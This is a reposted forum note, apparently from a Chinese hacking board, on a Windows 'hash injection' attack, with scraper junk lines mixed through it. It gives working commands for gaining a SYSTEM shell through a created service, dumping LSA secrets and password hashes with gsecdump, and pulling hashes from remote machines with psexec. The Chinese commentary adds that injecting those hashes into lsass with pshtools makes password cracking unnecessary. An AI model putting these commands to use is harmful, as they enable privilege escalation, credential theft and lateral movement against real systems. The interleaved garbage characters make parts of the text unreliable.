HASH注入式攻击

admin

o get a DOS Prompt as NT system:
2 l5 ?' G8 Z  l' E/ m( w
C:\>sc create shellcmdline binpath= "C:\WINDOWS\system32\cmd.exe /K start" type= own type= interact
[SC] CreateService SUCCESS
6 C& l5 m0 M6 h5 q
C:\>sc start shellcmdline
3 Z5 G1 s* O3 t" {# N& n[SC] StartService FAILED 1053:

The service did not respond to the start or control request in a timely fashion.

. {8 n) i; L) Y8 W8 A1 Z; d4 nC:\>sc delete shellcmdline
[SC] DeleteService SUCCESS

' Y9 `2 C) A# V------------
2 R* z3 Y2 _2 I% G# N' n
Then in the new DOS window:
+ q6 e* ]- @0 A& W. H" @
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
+ B9 W0 W; |1 R; \) M% [5 u
C:\WINDOWS\system32>whoami
NT AUTHORITY\SYSTEM
+ j* v, o# X0 y. {4 U+ l
C:\WINDOWS\system32>gsecdump -h
8 C. V! T3 `6 O3 rgsecdump v0.6 by Johannes Gumbel (链接标记johannes.gumbel@truesec.se)
: B' N! \. |6 z  {  s  eusage: gsecdump [options]
9 e: f) `# S; @# n) A. G) [
1 k# ~5 Z) H, `; V5 K9 Foptions:
, m% G  L5 Y6 h) f6 I-h [ --help ] show help
7 m0 f" o# \4 O-a [ --dump_all ] dump all secrets
4 W3 U$ `1 \7 ]0 S/ j3 g-l [ --dump_lsa ] dump lsa secrets
-w [ --dump_wireless ] dump microsoft wireless connections
-u [ --dump_usedhashes ] dump hashes from active logon sessions
-s [ --dump_hashes ] dump hashes from SAM/AD

Although I like to use:

PsExec v1.83 - Execute processes remotely
Copyright (C) 2001-2007 Mark Russinovich
8 s" i2 L* Z0 v% O# tSysinternals - 链接标记[url]www.sysinternals.com[/url]
, b9 _* G8 Q2 I5 ^+ h  J
: Z; h. f; q$ PC:\>psexec \\COMPUTER -u user -p password -s -f -c gsecdump.exe -u >Active-HASH.TXT
' M, g3 ?2 B7 R
! Q& E8 q5 X8 W. Cto get the hashes from active logon sessions of a remote system.
) J+ R, e, C% g/ u% V
These are a lot better than getting a cachedump of the Cached Credentials because these hashes are LMHashes that can be easily broken with Rainbow Tables.
  e% `4 a6 r- x( Z6 s- v
" c9 y# w' L* ^  I提示一下,可以使用pshtools工具包中的iam,把刚才使用gsecdump抓取出来HASH信息导入本地的lsass进程,来实现hash注入式攻击,还是老外厉害,这下管理员有得忙了,ARP欺骗的时候获得的LM/NThash,还有gethash获得的,其实根本不用破解密码,这个就是利用工具了,原文说的好,不管密码是设置4位还是127位,只要有了hash,100%就能搞定了.
原文出处:链接标记[url]http://truesecurity.se/blogs/mur ... -text-password.aspx[/url]

我看了下原文出处，貌似是/2007/03/16/郁闷啊，差距。